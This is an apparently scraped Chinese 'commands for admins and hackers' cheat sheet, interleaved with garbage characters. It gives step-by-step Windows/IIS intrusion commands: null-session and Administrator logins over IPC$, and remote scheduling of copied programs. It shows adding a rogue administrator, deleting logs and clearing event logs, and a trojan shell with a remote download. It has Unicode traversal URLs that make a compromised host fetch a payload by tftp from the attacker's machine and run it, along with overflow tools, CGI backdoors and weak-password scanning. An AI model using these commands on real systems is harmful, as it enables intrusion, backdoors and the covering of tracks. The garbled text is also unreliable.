网管和黑客都必须知道的命令
}ad|g6i` 常用的几条NET命令：
R G`1en i!Ga5 v8n: （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
<a+Z;> Kc(FX%3LU （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
?
=+WRjF Tm? # M&' （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
{ (}By/_ Z/J y'$x （查看远程主机时间） net time \\IP地址
yV ( \R ?bu>r=oIO] （定时启动某个程序） at \\IP地址 02:18 readme.exe
nQS|Lt_+ L/^I*p , （查看共享） net view \\IP地址
Hp nWo DM 8~gLqh8^V （查看netbios工作组列表） nbtstat -A IP地址
"zy7C*)>r #LOwGJ$yVz （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
40
0#v |b v.5+7,4 （这两条把自己增加到管理员组）： net user 用户名 密码 /add
YK~%x o 1-QS~)+ net localgroup Administrators 用户名 /add
S X-iAS[< T]p-0?=4vv （断开连接） net use \\IP地址\ipc$ /delete
uW3!Yg@ p D+k* 扫尾：
OZ!^a k L8 @1THY del C:\winnt\system32\logfiles\*.*
3f;>" P} S21,VpW\ del C:\winnt\ssytem32\config\*.evt
t0 ?\l) POR\e|hRT] del C:\winnt\system32\dtclog\*.*
L j$;:/G \nqS+on] del C:\winnt\system32\*.log
G*v,GR ?0xgRe< del C:\winnt\system32\*.txt
&jr3B;g!C KY] C6kh del C:\winnt\*.txt
N,U8YO ;jTN | i' del C:\winnt\*.log
9~ YMyg(Z O|UC ?]6 一、netsvc.exe
{ FT qu. nt.y
!k 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
WOf 4o 4v|W-h"K netsvc /list \\IP地址
L&O wPd 61
~upQaR netsvc schedule \\IP地址 /query
t&Og $@ BL58] P84 netsvc \\IP地址 schedule /start
xAP+FWyV $u6
3]rypm 二、OpenTelnet.exe
'[O;zJN; h `.& f 远程启动主机的Telnet服务，并绑定端口到7878，例如：
y18Y:)DkL 6\S~P/PkE OpenTelnet \\IP地址 用户名 密码 1 7878
9] @!S|1 P
L+sR3bR 然后就可以telnet到主机的7878端口，进入DOS方式下：
s&J]zb` R_xRp&5 telnet IP地址 7878
.w ,q0<} HE_8(Ms ;8 三、winshell.exe
Vs{|xG7W D v74&BL]a 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
0Fr?^3h Oz#{S:24M+ p Path （查看winshell主程序的路径信息）
*k>n<p3dd Q)z8PQl O b reBoot （重新启动机器）
BDZ?Ez \Sg xi; `ecqS< d shutDown （关闭机器）
RY*U"G0#w 5i{j' {_(8 s Shell （执行后你就会看到可爱的“C:\>”）
EDs\,f} _t}WsEQ+P x eXit （退出本次登录会话，此命令并不终止winshell的运行）
B4 8={ ,wdD8ZT'Ip CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
##4HYQ%E P}`H ~N~ 四、3389登陆器，GUI方式登录远程主机的
-RK- Fu<e - `TEVS?`l 五、elsave.exe
9k[9P;"F: XHGFf_kW_N 事件日志清除工具
9]o-O]7/ W 'u ># elsave -s \\IP地址 -l "application" -C
-;k+GrLr^ "Os_vlapHo elsave -s \\IP地址 -l "system" -C
xFg>SJ7] u,Kly<0j elsave -s \\IP地址 -l "security" -C
S?BG_J6A7 dN[\xVcj 执行后成功清除应用程序日志，系统日志，安全日志
1 I",L&S1 Ef13Q]9| 六、hbulot.exe
&UlWCOo8 =zs`#-^8 开启win2kserver和winxp的3389服务
]L}dzA?: j^2j& Ta hbulot [/r]
v1,oilL gr-OHeid 使用/r表示安装完成后自动重起目标使设置生效。
@49 S` 0Pi:N{x8 七、nc.exe(netcat.exe)
&~U ] ~;@ B@
KQ]4- 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
('p 5:d P J[ `| 想要连接到某处: nc [-options] hostname port[s] [ports] ...
R0 K@w{"7} 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
{3vNPQJ fL7xq$K 参数:
0% I=d I4?5K@a -e prog 程序重定向，一旦连接，就执行 [危险!!]
D*|Bb? 4x[S\,20 -g gateway source-routing hop point[s], up to 8
07=mj%yV t}/( b/VD -G num source-routing pointer: 4, 8, 12, ...
2P{Gxz<# [Cv/{f3]u{ -h 帮助信息
I ?G : p+ r1RM
-i secs 延时的间隔
5bpEYW+ R<N
]B -l 监听模式，用于入站连接
|*tp16+6 k~
/Nv=D -n 指定数字的IP地址，不能用hostname
A j]V`B:65 FH+s s! -o file 记录16进制的传输
\v)+.m?n gCY'; \f! -p port 本地端口号
v0jgki4 t [QT#Yf0 -r 任意指定本地及远程端口
TBU&6M>{3 I`4*+a'q& -s addr 本地源地址
L4y4RG/SJ: Nf1-!u7 -u UDP模式
k7usMVAA a-L;* -v 详细输出——用两个-v可得到更详细的内容
*,WU?tl& f Iv* T[ -w secs timeout的时间
/ FEVmH?
L8#5*8W6 -z 将输入输出关掉——用于扫描时
!f &g-V 八、TFTPD32.EXE
@/-\k*T "C0Q(dr/n 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
b(O 3@Q6[ y:qUn!3 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
7o5BXF V[vl!XM 然后可以直接令文件运行：
fMyti$1~ m5Di=8 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
#],&>n7' F6 flIG&h 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
i5,kd~%O y>e.~5 ; 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
_[ZO p ~ <
F+l 一、一 Xscan命令行运行参数说明：
C/6V9;U :'*~uJrR 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
3y8G?LL/[7 5 5c|O 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
q;>7*Y& (+ y xscan -file <主机列表文件名> <检测项目> [其他选项]
.z}~4 BY K~ eh P[^ 其中<检测项目> 含义如下:
=h73s0 ] F;0}x;:> -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
s>n)B^64W Ng>h"H -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
dQR-H7U Qhcu>r a -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
?]Xpi3k qVw Io.g! -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
bY QRBi A#'8X w| -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
G<rHkt@[ #d2.\X}A"3 [其他选项] 含义如下:
z]D69O b FZ E"7ec>m -v: 显示详细扫描进度
Jcm&RI"{ JQHvz9Yg -p: 跳过Ping不通的主机
tc{s B\&- !6Mo]xh -o: 跳过没有检测到开放端口的主机
O2dW6bt )*x6 FfTUd -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
